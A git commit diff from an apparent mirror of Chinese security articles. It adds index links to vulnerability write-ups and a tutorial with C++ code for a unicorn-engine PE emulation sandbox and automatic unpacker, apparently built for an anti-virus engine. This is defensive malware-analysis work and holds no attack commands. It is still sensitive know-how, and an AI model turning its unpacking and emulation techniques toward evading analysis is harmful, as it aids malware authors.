mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
无需点击就中招！间谍软件利用iMessage漏洞监视记者，苹果紧急修复、若依4.8.0RCE分析、PE代码执行虚拟机详解&原理&源码、安全动态回顾|FIN6黑客冒充求职者通过后门进入招聘人员的设备中 微软365 Copilot中发现零点击AI数据泄露漏洞、清源SCA社区每日漏洞提早感知情报、新增CVE及投毒情报推送-20250615、工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击 | 北京2家公司个人信息数据遭境外IP窃取被罚5万元、软银13.7万用户数据因外包商漏洞被泄露、记一次AMD漏洞挖掘：从文件权限配置错误到驱动权限提升、域大杀器 CVE-2025-33073 NTLM反射、新型Secure Boot漏洞允许攻击者安装引导工具包恶意软件、
This commit is contained in:
test committed
1 parent
3ff46bbb3d
commit
41780515ff
11 files changed
+1940
-2
No files matched your search
@@ -15223,5 +15223,15 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTc2MDE3OA==&mid=2247486854&idx=1&sn=789805dc2c0ad02645cc3b83fe748f14": "SRC漏洞小技巧——文件上传垃圾漏洞之绕过上传大小",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493396&idx=1&sn=2439c6d5a5f532279cd9a9b7a9053f9d": "漏洞预警 | 云课网校系统任意文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493396&idx=2&sn=b54a19f02fe36dad012f5cb1eb4bf157": "漏洞预警 | 宏景eHR SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247494086&idx=1&sn=fecf324f9ab98512f9702308494b5877": "域内大杀器：CVE-2025-33073 NTLM Reflection攻击"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NDQyNzg1OA==&mid=2247494086&idx=1&sn=fecf324f9ab98512f9702308494b5877": "域内大杀器：CVE-2025-33073 NTLM Reflection攻击",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg4NTg5MDQ0OA==&mid=2247488112&idx=1&sn=eeb7a6c45256d2804fb041de9ddcdc33": "无需点击就中招！间谍软件利用iMessage漏洞监视记者，苹果紧急修复",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNDQ5MTQ2Mg==&mid=2247484008&idx=1&sn=2ace6d9b83200f6f09158527c68469e0": "若依4.8.0RCE分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkyOTc0NDY2Nw==&mid=2247485188&idx=1&sn=48ce12178a70e5b8f3ea47e79dd57e64": "PE代码执行虚拟机详解&原理&源码",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582888&idx=2&sn=29d6e96277b041d88e3d273ca73f3b6c": "安全动态回顾|FIN6黑客冒充求职者通过后门进入招聘人员的设备中 微软365 Copilot中发现零点击AI数据泄露漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3MDgyMzkwOA==&mid=2247491571&idx=1&sn=24f12d441710a620c5747ca61caa2366": "清源SCA社区每日漏洞提早感知情报、新增CVE及投毒情报推送-20250615",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI1OTA1MzQzNA==&mid=2651248095&idx=1&sn=c843b5a9abdd1ba2ce1d374edf1c0124": "工信部：AI绘图工具ComfyUI多个安全漏洞已被用于实施网络攻击 | 北京2家公司个人信息数据遭境外IP窃取被罚5万元",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNzAwOTQxMg==&mid=2652252021&idx=1&sn=240b1cc1d52d6bfd65e82f1bb9507c06": "软银13.7万用户数据因外包商漏洞被泄露",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMzMwODg2Mw==&mid=2247512801&idx=1&sn=bc1390b991ab475c42a3dcf2072bf910": "记一次AMD漏洞挖掘：从文件权限配置错误到驱动权限提升",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247494380&idx=1&sn=66151c9843ee0ce1f076c7129e9fa929": "域大杀器 CVE-2025-33073 NTLM反射",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582888&idx=1&sn=02b823aa4fbe49aa681dfd78302faedf": "新型Secure Boot漏洞允许攻击者安装引导工具包恶意软件"
|
||||
}
|
||||
@@ -0,0 +1,545 @@
|
||||
# PE代码执行虚拟机详解&原理&源码
|
||||
原创 为了安全鸭 冲鸭安全 2025-06-16 06:30
|
||||
|
||||
## 前言
|
||||
|
||||
粉丝要求,安排!
|
||||
|
||||
|
||||
不过我不知道是**PE代码虚拟执行**
|
||||
还是指**虚拟化壳**
|
||||
的. 而且还问不了!
|
||||
|
||||
|
||||
所以先写一篇关于PE代码虚拟机的，下一篇再写一个关于虚拟化壳的,全都要。
|
||||
源码先丢这里,可以看着源码对着学习
|
||||
https://git.key08.com/huoji/awesome_anti_virus_engine
|
||||
## 环境初始化
|
||||
|
||||
这边我用的模拟执行框架是unicorn-engine,为了实现一个代码执行,我们需要先初始化模拟环境,包括SharedUserDataBase,Segment
|
||||
### 段寄存器 (Segment Registers)
|
||||
|
||||
在Windows环境下，虽然现代操作系统主要使用平坦内存模型，但段寄存器（CS, DS, SS, ES, GS, FS）仍然在某些特定场景下扮演着重要角色，特别是FS和GS寄存器，它们常用于指向TEB和KPCR（Kernel Processor Control Region）等关键结构。这里我们为它们设置了默认的段选择子。
|
||||
```
|
||||
// SetupVirtualMachine 函数片段
|
||||
SegmentSelector cs = { 0 };
|
||||
cs.fields.index = 1;
|
||||
uc_reg_write(m_ucEngine, UC_X86_REG_CS, &cs.all);
|
||||
// ... 其他段寄存器 (DS, SS, ES, GS) 类似设置
|
||||
|
||||
```
|
||||
### SharedUserData
|
||||
|
||||
这是一个位于 0x7FFE0000 的只读内存区域，包含了系统时间、系统版本等常用信息，许多Windows API会从这里读取数据。我们将其映射并写入真实系统的数据。
|
||||
```
|
||||
// SetupVirtualMachine 函数片段
|
||||
m_KSharedUserDataBase = 0x7FFE0000;
|
||||
// ... 计算大小并映射
|
||||
uc_mem_map(m_ucEngine, m_KSharedUserDataBase, m_KSharedUserDataSize, UC_PROT_READ);
|
||||
uc_mem_write(m_ucEngine, m_KSharedUserDataBase, (void*)m_KSharedUserDataBase, m_KSharedUserDataSize);
|
||||
|
||||
```
|
||||
### PEB
|
||||
|
||||
PEB (Process Environment Block) 和 TEB (Thread Environment Block): 这两个结构体是Windows进程和线程的核心数据结构，包含了大量关于进程、模块、堆、环境参数、线程本地存储 (TLS) 等信息。模拟器需要分配内存并初始化这些结构，以便被模拟的程序能够正确查询其运行环境。特别是TEB中的NtTib.Self字段，它是一个指向TEB自身的指针，对于32位程序，FS段寄存器的基址通常指向TEB。
|
||||
```
|
||||
// SetupVirtualMachine 函数片段 (以64位为例)
|
||||
m_tebBase = TEB_BASE; // 进程TEB地址
|
||||
m_pebBase = PEB_BASE; // 进程PEB地址
|
||||
// ...
|
||||
m_peb64.ImageBaseAddress = m_peInfo->RecImageBase;
|
||||
m_teb64.ProcessEnvironmentBlock = reinterpret_cast<X64PEB*>(m_pebBase);
|
||||
m_teb64.NtTib.StackBase = (DWORD64)m_stackBase;
|
||||
m_teb64.NtTib.StackLimit = (DWORD64)m_stackSize;
|
||||
// ... 映射并写入PEB和TEB
|
||||
uc_mem_map(m_ucEngine, m_pebBase, m_pebEnd - m_pebBase, UC_PROT_READ | UC_PROT_WRITE);
|
||||
uc_mem_write(m_ucEngine, m_pebBase, &m_peb64, sizeof(X64PEB));
|
||||
// ...
|
||||
// 对于64位，设置GS基址MSR
|
||||
uc_x86_msr msr;
|
||||
msr.rid = static_cast<uint32_t>(Msr::kIa32GsBase);
|
||||
msr.value = m_gsBase;
|
||||
uc_reg_write(m_ucEngine, UC_X86_REG_MSR, &msr);
|
||||
// 对于32位，设置FS基址MSR
|
||||
// msr.rid = static_cast<uint32_t>(Msr::kIa32FsBase);
|
||||
// msr.value = m_tebBase;
|
||||
// uc_reg_write(m_ucEngine, UC_X86_REG_MSR, &msr);
|
||||
|
||||
```
|
||||
### 进程环境变量
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS 结构体是PEB中的一个重要字段，它包含了进程的命令行、当前目录、映像路径、DLL搜索路径以及环境变量等信息。BuildPebParameter 函数负责填充这些信息，并在模拟器内存中分配相应的字符串缓冲区。GetEnvString 则提供了默认的环境变量列表。
|
||||
```
|
||||
// BuildPebParameter 函数片段
|
||||
RTL_USER_PROCESS_PARAMETERS processParams = {};
|
||||
// ... 映射内存
|
||||
// 设置映像路径、命令行、当前目录、DLL路径等
|
||||
std::wstring imagePath = L"C:\\Path\\To\\EmulatedImage.exe";
|
||||
// ... 写入字符串到模拟内存
|
||||
processParams.ImagePathName = imagePathUnicode;
|
||||
// ... 设置其他参数
|
||||
processParams.Environment = reinterpret_cast<WCHAR*>(m_envBlockBase); // 指向环境变量块
|
||||
uc_mem_write(m_ucEngine, m_processParamsBase, &processParams, sizeof(RTL_USER_PROCESS_PARAMETERS));
|
||||
|
||||
```
|
||||
|
||||
至此我们完成了环境初始化
|
||||
## 导入表
|
||||
|
||||
PE文件通常会依赖大量的动态链接库（DLL）。为了模拟执行，我们需要将主程序及其依赖的DLL加载到模拟器内存中，并正确处理它们的导入表和导出表。（无论是模拟的API还是真实DLL的导出函数）。
|
||||
|
||||
ResoveImport: 这个函数负责解析主程序的导入表。它使用 peconv::process_import_table 结合 cListImportNames 回调来提取所有导入函数的名称及其所在的DLL。然后，对于每个导入的DLL，它会尝试使用 mapSystemModuleToVmByName 将其加载到模拟器中。
|
||||
```
|
||||
// ResoveImport 函数片段
|
||||
// 处理延迟导入
|
||||
peconv::load_delayed_imports(static_cast<BYTE*>(m_peInfo->peBuffer), 0);
|
||||
// 解析导入表
|
||||
cListImportNames importCallback(static_cast<BYTE*>(m_peInfo->peBuffer),
|
||||
m_peInfo->peSize, m_impFuncDict,
|
||||
m_impFuncOrdinalDict);
|
||||
if (!peconv::process_import_table(static_cast<BYTE*>(m_peInfo->peBuffer),
|
||||
m_peInfo->peSize, &importCallback)) {
|
||||
throw std::runtime_error("Failed to process import table");
|
||||
}
|
||||
// 处理每个导入模块，将其加载到VM中
|
||||
for (const auto& importModule : m_impFuncDict) {
|
||||
processImportModule(importModule.get());
|
||||
}
|
||||
|
||||
```
|
||||
## API Hooking 与系统调用
|
||||
|
||||
为了在模拟执行过程中处理API调用和系统调用，我们需要在Unicorn Engine中设置钩子 (Hooks)。
|
||||
|
||||
API Hooking: 对于已修复的导入函数，我们可以在其在模拟器中的地址上设置 UC_HOOK_CODE 钩子。当模拟器执行到这些地址时，钩子回调函数 sandboxCallbacks::handleApiCall 会被触发，我们可以在这里实现对API的模拟或重定向到宿主机上的真实API。
|
||||
|
||||
我们给导入表挂钩子:
|
||||
```
|
||||
// 挂导入表钩子
|
||||
for (const auto& module : this->GetModuleList()) {
|
||||
// 遍历导出函数查找对应名称
|
||||
for (const auto& exp : module->export_function) {
|
||||
auto inMemAddr = module->base + exp->function_address;
|
||||
uc_hook_add(m_ucEngine, &exp->sys_ook, UC_HOOK_CODE, sandboxCallbacks::handleApiCall,(void*)this, inMemAddr, inMemAddr + 5, 0);
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
执行导入表的时候,会触发我们的钩子:
|
||||
```
|
||||
|
||||
void handleApiCall(uc_engine* uc, uint64_t address, uint32_t size, void* userData)
|
||||
{
|
||||
uint64_t currentRip = 0;
|
||||
auto* sandbox = static_cast<Sandbox*>(userData);
|
||||
if (!sandbox) return;
|
||||
|
||||
uc_reg_read(uc,
|
||||
sandbox->GetPeInfo()->isX64 ? UC_X86_REG_RIP : UC_X86_REG_EIP,
|
||||
¤tRip);
|
||||
|
||||
auto [lastReadImpAddr, lastImp] = sandbox->GetLastImpRead();
|
||||
|
||||
if (lastImp != nullptr && currentRip == lastReadImpAddr) {
|
||||
printf(
|
||||
"direct call function [%s]%s at file address: %llx lastRip: "
|
||||
"%llx\n",
|
||||
lastImp->dll_name,
|
||||
lastImp->name, address, lastRip);
|
||||
sandbox->EmulateApi(uc, lastReadImpAddr, currentRip, lastImp->name);
|
||||
sandbox->SetLastImpRead(0, nullptr);
|
||||
}
|
||||
else {
|
||||
for (auto module : sandbox->GetModuleList()) {
|
||||
for (auto item : module->export_function) {
|
||||
const auto vmAddress = module->base + item->function_address;
|
||||
if (vmAddress == currentRip) {
|
||||
printf("[!!!]detect no correct call, currentRip: 0x%llx\n",
|
||||
currentRip);
|
||||
sandbox->SetLastImpRead(0, nullptr);
|
||||
|
||||
sandbox->EmulateApi(uc, vmAddress, currentRip, item->name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
然后就模拟各种API了:
|
||||
> 为什么我们不能模拟syscall? 因为这样模拟,就跟某h*系统一样,搞所谓的兼容层了,而代价是,我们需要重写整个NT内核!! 因为很多API是不可控的.某系统能成功写兼容层的原因是linux是开源的! 意味着直接把内核编译好,只要内核初始化成功,把ssdt接过去就行,但是windows是闭源的,做的最好的是wine也有各种bug.所以不要做兼容层的操作了.对于个人来说浪费时间
|
||||
|
||||
|
||||
|
||||
|
||||
比如URL download
|
||||
|
||||
|
||||
|
||||
createprocess
|
||||
|
||||
|
||||
|
||||
只要模拟的够多,基本上什么病毒都能跑:
|
||||
|
||||
|
||||
## 自动脱壳机
|
||||
|
||||
我们还能做一个自动的脱壳机器,脱掉常见的UPX,ASP什么壳,原理是,壳会释放原始PE到text段并且执行,我们只需要记录跨区段执行,执行的时候立刻dump即可
|
||||
```
|
||||
// 如果找到区段，并且与上次执行的区段不同，记录跨区段行为
|
||||
if (currentSectionIndex >= 0 &&
|
||||
sandbox->GetLastExecuteSectionIndex() != currentSectionIndex &&
|
||||
sandbox->GetLastExecuteSectionIndex() != 0) {
|
||||
printf(
|
||||
"[!!!]detect cross section excute, from %d to %d,address: 0x%llx\n",
|
||||
sandbox->GetLastExecuteSectionIndex(), currentSectionIndex,
|
||||
address);
|
||||
sandbox->SetMalwareAnalysisType(MalwareAnalysisType::kSuspicious);
|
||||
|
||||
// 记录跨区段执行地址
|
||||
sandbox->SetCrossSectionExecution(address);
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
然后dump,标准的PE dump
|
||||
```
|
||||
#include "sandbox.h"
|
||||
|
||||
auto Sandbox::DumpPE() -> std::pair<std::unique_ptr<BYTE[]>, size_t> {
|
||||
// 查找目标模块 - 这里我们使用主模块(通常是被分析的可执行文件)
|
||||
std::shared_ptr<struct_moudle> targetModule = nullptr;
|
||||
for (const auto& module : m_moduleList) {
|
||||
if ((*module).name == "HUOJI.EXE") {
|
||||
targetModule = module;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetModule) {
|
||||
throw std::runtime_error("No modules found to dump");
|
||||
}
|
||||
|
||||
// 计算虚拟内存大小
|
||||
auto virtualMemorySize = getVirtualMemorySize(m_peInfo->peBuffer);
|
||||
|
||||
// 创建用于存储转储数据的缓冲区
|
||||
auto resultBuffer = std::make_unique<BYTE[]>(virtualMemorySize);
|
||||
|
||||
// 从虚拟机内存中读取PE文件
|
||||
uc_err err = uc_mem_read(m_ucEngine, m_peInfo->RecImageBase,
|
||||
resultBuffer.get(), virtualMemorySize);
|
||||
if (err != UC_ERR_OK) {
|
||||
throw std::runtime_error("Failed to read memory during PE dump: " +
|
||||
std::string(uc_strerror(err)));
|
||||
}
|
||||
|
||||
// 确保PE头部的签名有效
|
||||
auto* dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(resultBuffer.get());
|
||||
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
throw std::runtime_error("Invalid DOS signature in dumped PE");
|
||||
}
|
||||
|
||||
auto* ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(resultBuffer.get() +
|
||||
dosHeader->e_lfanew);
|
||||
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
throw std::runtime_error("Invalid NT signature in dumped PE");
|
||||
}
|
||||
|
||||
// 获取当前RIP/EIP作为新的入口点
|
||||
uint64_t currentEntryPoint = 0;
|
||||
if (this->GetCrossSectionExecution().size() > 0) {
|
||||
currentEntryPoint = this->GetCrossSectionExecution()
|
||||
[this->GetCrossSectionExecution().size() - 1] -
|
||||
m_peInfo->RecImageBase;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER sectionHeaders = nullptr;
|
||||
WORD numberOfSections = 0;
|
||||
|
||||
// 处理32位或64位PE文件
|
||||
if (m_peInfo->isX64) {
|
||||
auto* optHeader64 =
|
||||
&reinterpret_cast<PIMAGE_NT_HEADERS64>(ntHeaders)->OptionalHeader;
|
||||
optHeader64->ImageBase = m_peInfo->RecImageBase;
|
||||
if (currentEntryPoint != 0) {
|
||||
// 修改入口点为当前执行位置
|
||||
optHeader64->AddressOfEntryPoint =
|
||||
static_cast<DWORD>(currentEntryPoint);
|
||||
}
|
||||
|
||||
// 修改SizeOfImage
|
||||
optHeader64->SizeOfImage = static_cast<DWORD>(AlignToSectionAlignment(
|
||||
virtualMemorySize, optHeader64->SectionAlignment));
|
||||
|
||||
// 修改DllCharacteristics以移除ASLR标记
|
||||
optHeader64->DllCharacteristics &=
|
||||
~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;
|
||||
|
||||
// 获取区段头信息
|
||||
sectionHeaders = reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<ULONG_PTR>(ntHeaders) +
|
||||
sizeof(ntHeaders->Signature) + sizeof(ntHeaders->FileHeader) +
|
||||
ntHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
numberOfSections = ntHeaders->FileHeader.NumberOfSections;
|
||||
}
|
||||
else {
|
||||
auto* optHeader32 =
|
||||
&reinterpret_cast<PIMAGE_NT_HEADERS32>(ntHeaders)->OptionalHeader;
|
||||
optHeader32->ImageBase = static_cast<DWORD>(m_peInfo->RecImageBase);
|
||||
|
||||
if (currentEntryPoint != 0) {
|
||||
// 修改入口点为当前执行位置
|
||||
optHeader32->AddressOfEntryPoint =
|
||||
static_cast<DWORD>(currentEntryPoint);
|
||||
}
|
||||
|
||||
// 修改SizeOfImage
|
||||
optHeader32->SizeOfImage = static_cast<DWORD>(AlignToSectionAlignment(
|
||||
virtualMemorySize, optHeader32->SectionAlignment));
|
||||
|
||||
// 修改DllCharacteristics以移除ASLR标记
|
||||
optHeader32->DllCharacteristics &=
|
||||
~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;
|
||||
|
||||
// 获取区段头信息
|
||||
sectionHeaders = reinterpret_cast<PIMAGE_SECTION_HEADER>(
|
||||
reinterpret_cast<ULONG_PTR>(ntHeaders) +
|
||||
sizeof(ntHeaders->Signature) + sizeof(ntHeaders->FileHeader) +
|
||||
ntHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
numberOfSections = ntHeaders->FileHeader.NumberOfSections;
|
||||
}
|
||||
|
||||
// 更新代码基址和大小
|
||||
UpdateBaseOfCode(sectionHeaders, ntHeaders, numberOfSections,
|
||||
static_cast<DWORD>(currentEntryPoint));
|
||||
|
||||
// 修复区段
|
||||
FixSections(sectionHeaders, numberOfSections, virtualMemorySize);
|
||||
|
||||
// 创建一个ExportsMapper对象用于导入表修复
|
||||
peconv::ExportsMapper exportsMap;
|
||||
|
||||
// 添加所有已加载模块到导出表映射中
|
||||
for (const auto& module : m_moduleList) {
|
||||
if (module->base == 0 || module->size == 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// 创建临时缓冲区以存储模块内容
|
||||
std::unique_ptr<BYTE[]> moduleBuffer =
|
||||
std::make_unique<BYTE[]>(module->size);
|
||||
|
||||
// 从虚拟机内存读取模块内容
|
||||
uc_err readErr = uc_mem_read(m_ucEngine, module->base,
|
||||
moduleBuffer.get(), module->size);
|
||||
if (readErr != UC_ERR_OK) {
|
||||
printf(
|
||||
"Warning: Could not read module %s for exports mapping: %s\n",
|
||||
module->name, uc_strerror(readErr));
|
||||
continue;
|
||||
}
|
||||
|
||||
// 添加模块到导出表映射
|
||||
exportsMap.add_to_lookup(module->name,
|
||||
reinterpret_cast<HMODULE>(moduleBuffer.get()),
|
||||
module->base);
|
||||
}
|
||||
// 这里有一个严重的问题,就懒得处理了:
|
||||
// 壳里面吐出来的代码的导入表和壳的导入表不是同样一个.
|
||||
// 这个修的是壳的 导入表,所以导入表 修 不 全
|
||||
// 有个很简单的办法,需要搜索IAT结构,然后修改脱壳后的IAT的字段到壳的字段里面,然后再执行一次fix_imports
|
||||
// 懒得写了,家庭作业.自己完成
|
||||
bool importsFixed = peconv::fix_imports(
|
||||
resultBuffer.get(), virtualMemorySize, exportsMap, nullptr);
|
||||
if (importsFixed) {
|
||||
printf("PE file imports fixed successfully\n");
|
||||
}
|
||||
else {
|
||||
printf("Warning: Failed to fix PE file imports\n");
|
||||
}
|
||||
|
||||
size_t out_size = 0;
|
||||
|
||||
// 重新计算校验和
|
||||
if (m_peInfo->isX64) {
|
||||
auto* optHeader64 =
|
||||
&reinterpret_cast<PIMAGE_NT_HEADERS64>(ntHeaders)->OptionalHeader;
|
||||
optHeader64->CheckSum =
|
||||
CalculateChecksum(resultBuffer.get(), virtualMemorySize);
|
||||
}
|
||||
else {
|
||||
auto* optHeader32 =
|
||||
&reinterpret_cast<PIMAGE_NT_HEADERS32>(ntHeaders)->OptionalHeader;
|
||||
optHeader32->CheckSum =
|
||||
CalculateChecksum(resultBuffer.get(), virtualMemorySize);
|
||||
}
|
||||
|
||||
printf(
|
||||
"PE file dumped successfully from address: 0x%llx, size: %zu bytes\n",
|
||||
m_peInfo->RecImageBase, virtualMemorySize);
|
||||
printf("Entry point set to: 0x%llx (RVA: 0x%llx)\n",
|
||||
m_peInfo->RecImageBase + currentEntryPoint, currentEntryPoint);
|
||||
|
||||
return { std::move(resultBuffer), virtualMemorySize };
|
||||
}
|
||||
|
||||
// 修复区段信息
|
||||
void Sandbox::FixSections(PIMAGE_SECTION_HEADER sectionHeaders,
|
||||
WORD numberOfSections, size_t virtualMemorySize) {
|
||||
if (numberOfSections == 0 || sectionHeaders == nullptr) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 修复每个区段的信息
|
||||
for (WORD i = 0; i < numberOfSections - 1; i++) {
|
||||
auto& currentSection = sectionHeaders[i];
|
||||
auto& nextSection = sectionHeaders[i + 1];
|
||||
|
||||
// 修复大小，使之与下一个区段的起始地址对齐
|
||||
currentSection.SizeOfRawData =
|
||||
nextSection.VirtualAddress - currentSection.VirtualAddress;
|
||||
currentSection.PointerToRawData = currentSection.VirtualAddress;
|
||||
currentSection.Misc.VirtualSize = currentSection.SizeOfRawData;
|
||||
}
|
||||
|
||||
// 修复最后一个区段
|
||||
auto& lastSection = sectionHeaders[numberOfSections - 1];
|
||||
lastSection.SizeOfRawData =
|
||||
static_cast<DWORD>(virtualMemorySize) - lastSection.VirtualAddress;
|
||||
lastSection.PointerToRawData = lastSection.VirtualAddress;
|
||||
lastSection.Misc.VirtualSize = lastSection.SizeOfRawData;
|
||||
}
|
||||
|
||||
// 计算校验和
|
||||
DWORD Sandbox::CalculateChecksum(const BYTE* peBuffer, size_t size) {
|
||||
DWORD sum = 0;
|
||||
const DWORD* ptr = reinterpret_cast<const DWORD*>(peBuffer);
|
||||
const DWORD count = static_cast<DWORD>(size / sizeof(DWORD));
|
||||
|
||||
// 获取校验和字段的偏移
|
||||
const auto dosHeader = (PIMAGE_DOS_HEADER)(peBuffer);
|
||||
const auto ntHeaders = (PIMAGE_NT_HEADERS)(peBuffer + dosHeader->e_lfanew);
|
||||
DWORD checksumOffset = dosHeader->e_lfanew +
|
||||
FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) +
|
||||
FIELD_OFFSET(IMAGE_OPTIONAL_HEADER, CheckSum);
|
||||
|
||||
// 计算总和，跳过校验和字段本身
|
||||
for (DWORD i = 0; i < count; i++) {
|
||||
// 跳过校验和字段
|
||||
if ((i * sizeof(DWORD)) == checksumOffset ||
|
||||
(i * sizeof(DWORD)) == checksumOffset + sizeof(DWORD) - 1) {
|
||||
continue;
|
||||
}
|
||||
sum += ptr[i];
|
||||
// 处理溢出
|
||||
if (sum < ptr[i]) {
|
||||
sum++;
|
||||
}
|
||||
}
|
||||
|
||||
// 完成计算
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
sum = sum + static_cast<DWORD>(size);
|
||||
|
||||
return sum;
|
||||
}
|
||||
|
||||
// 按区段对齐大小进行对齐
|
||||
DWORD Sandbox::AlignToSectionAlignment(size_t size, DWORD alignment) {
|
||||
return static_cast<DWORD>(((size + alignment - 1) / alignment) * alignment);
|
||||
}
|
||||
|
||||
// 更新代码基址和代码大小
|
||||
void Sandbox::UpdateBaseOfCode(PIMAGE_SECTION_HEADER sectionHeader,
|
||||
PIMAGE_NT_HEADERS ntHeaders,
|
||||
WORD numberOfSections, DWORD entryPoint) {
|
||||
if (sectionHeader == nullptr || ntHeaders == nullptr ||
|
||||
numberOfSections == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
DWORD baseOfCode = 0;
|
||||
DWORD sizeOfCode = 0;
|
||||
bool foundSection = false;
|
||||
|
||||
// 寻找包含入口点的区段
|
||||
for (WORD i = 0; i < numberOfSections; i++) {
|
||||
auto& section = sectionHeader[i];
|
||||
if (entryPoint >= section.VirtualAddress &&
|
||||
entryPoint < (section.VirtualAddress + section.Misc.VirtualSize)) {
|
||||
baseOfCode = section.VirtualAddress;
|
||||
sizeOfCode = section.Misc.VirtualSize;
|
||||
foundSection = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 如果没有找到包含入口点的区段，使用第一个可执行区段
|
||||
if (!foundSection) {
|
||||
for (WORD i = 0; i < numberOfSections; i++) {
|
||||
auto& section = sectionHeader[i];
|
||||
if (section.Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
baseOfCode = section.VirtualAddress;
|
||||
sizeOfCode = section.Misc.VirtualSize;
|
||||
foundSection = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 更新NT头部信息
|
||||
if (foundSection) {
|
||||
if (ntHeaders->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64) {
|
||||
// 64位PE
|
||||
auto* optHeader64 =
|
||||
&reinterpret_cast<PIMAGE_NT_HEADERS64>(ntHeaders)
|
||||
->OptionalHeader;
|
||||
optHeader64->BaseOfCode = baseOfCode;
|
||||
}
|
||||
else {
|
||||
// 32位PE
|
||||
auto* optHeader32 =
|
||||
&reinterpret_cast<PIMAGE_NT_HEADERS32>(ntHeaders)
|
||||
->OptionalHeader;
|
||||
optHeader32->BaseOfCode = baseOfCode;
|
||||
optHeader32->SizeOfCode = sizeOfCode;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
这样我们的PE虚拟机同时也实现了一个 自动脱壳机的功能了.
|
||||
### 不足
|
||||
|
||||
当然,这也有很多不足,其中需要改进的是,API模拟的不够多,我们没模拟 win32k的api,也没模拟其他DLL的API,导致很多时候很多样本用冷门API就拉闸了,只能看到一个加一个
|
||||
还有一个是线程轮转和异常处理我们并没有模拟,异常处理64的还好,32位的真的癌症所以懒得浪费时间了
|
||||
线程轮转非常简单,这边就不说了
|
||||
最后我们还有STL INIT函数没模拟,也就是_initterm,导致PE的行为可能会不一样
|
||||
```
|
||||
// 非空函数指针才“调用”
|
||||
if (function_ptr != 0) {
|
||||
printf("[*] _initterm: Simulating call to initializer function at 0x%llx\n",
|
||||
function_ptr);
|
||||
// 在沙箱环境中，通常我们不会真正地跳转到并执行这些初始化函数，
|
||||
// 而是记录它们的调用。
|
||||
// 如果需要更深度的模拟，可以在这里使用 uc_emu_start
|
||||
// 来模拟执行这些函数，然后跳回当前位置。
|
||||
// 但对于多数初始化例程，简单的记录就足够了。
|
||||
// 例如：
|
||||
// uc_emu_start(uc, function_ptr, function_ptr + some_size, 0, 0);
|
||||
// 或
|
||||
// context->EmulateApi(uc, function_ptr, some_return_address, "CustomInitializer");
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
这些都是可以改进的点,欢迎提PR
|
||||
https://git.key08.com/huoji/awesome_anti_virus_engine
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
# 域大杀器 CVE-2025-33073 NTLM反射
|
||||
原创 想要暴富的友人A 想要暴富的安服仔 2025-06-15 05:05
|
||||
哈拉少安全小队 2025-06-16 05:54
|
||||
|
||||
#
|
||||
## CVE-2025-33073
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
# 安全动态回顾|FIN6黑客冒充求职者通过后门进入招聘人员的设备中 微软365 Copilot中发现零点击AI数据泄露漏洞
|
||||
胡金鱼 嘶吼专业版 2025-06-16 06:01
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[2025.6.2—6.8安全动态周回顾](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582779&idx=2&sn=c9722694716c1aafcf7dfaff6edaf5a3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[2025.5.26—6.1安全动态周回顾](https://mp.weixin.qq.com/s?__biz=MzI0MDY1MDU4MQ==&mid=2247582645&idx=2&sn=1afdfd16ea3f0056aa1ca3c16b67a88f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
